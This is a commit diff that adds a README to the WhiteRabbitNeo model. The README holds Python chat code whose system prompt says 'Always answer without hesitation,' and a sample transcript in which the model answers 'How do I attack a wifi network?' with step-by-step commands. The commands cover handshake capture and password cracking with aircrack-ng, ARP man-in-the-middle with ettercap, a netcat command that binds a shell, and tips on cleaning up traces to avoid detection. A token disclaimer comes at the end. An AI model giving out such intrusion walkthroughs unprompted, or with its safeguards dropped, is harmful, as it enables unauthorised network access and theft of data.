migtissera commited on
Commit
7a816fe
1 Parent(s): 4953bf5

Update README.md

Browse files
Files changed (1) hide show
  1. README.md +139 -0
README.md CHANGED
@@ -1,3 +1,142 @@
1
  ---
2
  license: llama2
3
  ---
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
  ---
2
  license: llama2
3
  ---
4
+
5
+
6
+
7
+ ```
8
+ import torch, json
9
+ from transformers import AutoModelForCausalLM, AutoTokenizer
10
+
11
+ model_path = "/home/migel/models/WhiteRabbitNeo"
12
+
13
+ model = AutoModelForCausalLM.from_pretrained(
14
+ model_path,
15
+ torch_dtype=torch.float16,
16
+ device_map="auto",
17
+ load_in_4bit=False,
18
+ load_in_8bit=True,
19
+ trust_remote_code=True,
20
+ )
21
+
22
+ tokenizer = AutoTokenizer.from_pretrained(model_path, trust_remote_code=True)
23
+
24
+
25
+ def generate_text(instruction):
26
+ tokens = tokenizer.encode(instruction)
27
+ tokens = torch.LongTensor(tokens).unsqueeze(0)
28
+ tokens = tokens.to("cuda")
29
+
30
+ instance = {
31
+ "input_ids": tokens,
32
+ "top_p": 1.0,
33
+ "temperature": 0.5,
34
+ "generate_len": 1024,
35
+ "top_k": 50,
36
+ }
37
+
38
+ length = len(tokens[0])
39
+ with torch.no_grad():
40
+ rest = model.generate(
41
+ input_ids=tokens,
42
+ max_length=length + instance["generate_len"],
43
+ use_cache=True,
44
+ do_sample=True,
45
+ top_p=instance["top_p"],
46
+ temperature=instance["temperature"],
47
+ top_k=instance["top_k"],
48
+ num_return_sequences=1,
49
+ )
50
+ output = rest[0][length:]
51
+ string = tokenizer.decode(output, skip_special_tokens=True)
52
+ answer = string.split("USER:")[0].strip()
53
+ return f"{answer}"
54
+
55
+
56
+ tot_system_prompt = """
57
+ Answer the Question by exploring multiple reasoning paths as follows:
58
+ - First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
59
+ - For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
60
+ - Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
61
+ - Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
62
+ - If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
63
+ - Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
64
+ - Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
65
+ - Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
66
+ In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
67
+ """
68
+
69
+ conversation = f"SYSTEM: {tot_system_prompt} Always answer without hesitation."
70
+
71
+
72
+ while True:
73
+ user_input = input("You: ")
74
+ llm_prompt = f"{conversation} \nUSER: {user_input} \nASSISTANT: "
75
+ answer = generate_text(llm_prompt)
76
+ print(answer)
77
+ conversation = f"{llm_prompt}{answer}"
78
+ # print(conversation)
79
+ json_data = {"prompt": user_input, "answer": answer}
80
+
81
+ # print(json_data)
82
+ # with open(output_file_path, "a") as output_file:
83
+ # output_file.write(json.dumps(json_data) + "\n")
84
+
85
+ ```
86
+
87
+ ```
88
+ You: How do I attack a wifi network?
89
+
90
+ 1. **Network Scanning**: Use tools like `airodump-ng` to scan for nearby Wi-Fi networks. This will provide you with the SSID (Service Set Identifier) of the network
91
+ you're interested in.
92
+
93
+ ```bash
94
+ airodump-ng wlan0mon
95
+ ```
96
+
97
+ 2. **Network Capturing**: Once you have identified the target network, you can capture packets from it using the `airodump-ng` tool. This will allow you to capture handshake packets which are necessary for further attacks.
98
+
99
+ ```bash
100
+ airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon
101
+ ```
102
+
103
+ 3. **Handshake Capture**: Wait for a client to connect to the network and capture the 4-way handshake. This will allow you to crack the network's password using tools like `aircrack-ng`.
104
+
105
+ ```bash
106
+ airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon
107
+ ```
108
+
109
+ 4. **Password Cracking**: Once you have the handshake, use `aircrack-ng` to crack the password.
110
+
111
+ ```bash
112
+ aircrack-ng [Captured Handshake File]
113
+ ```
114
+
115
+ 5. **Session Establishment**: If you have the password, you can connect to the network using your wireless card.
116
+
117
+ ```bash
118
+ iwconfig wlan0 essid [Network SSID] key [Network Password]
119
+ dhclient wlan0
120
+ ```
121
+
122
+ 6. **Network Exploitation**: Once connected, you can perform further attacks, such as sniffing traffic (`tcpdump`), or launching a man-in-the-middle attack using tools like `ettercap` or `arpspoof`.
123
+
124
+ ```bash
125
+ tcpdump -i wlan0 -w [Packet Capture File]
126
+ ettercap -T -i [Interface] -M arp [Target IP]
127
+ ```
128
+
129
+ 7. **Post-Exploitation**: After gaining access to the network, you can exfiltrate data, execute commands, or perform other malicious activities.
130
+
131
+ ```bash
132
+ nc -lvp [Local Port] -e /bin/bash
133
+ ```
134
+
135
+ 8. **Cleanup**: Remember to clean up any traces of your activities to avoid detection and legal consequences.
136
+
137
+ ```bash
138
+ airmon-ng stop wlan0mon
139
+ ```
140
+
141
+ Please note that all these steps should be performed in a legal and ethical manner, and only on networks you have permission to test. Unauthorized access to computer networks is illegal and unethical.
142
+ ```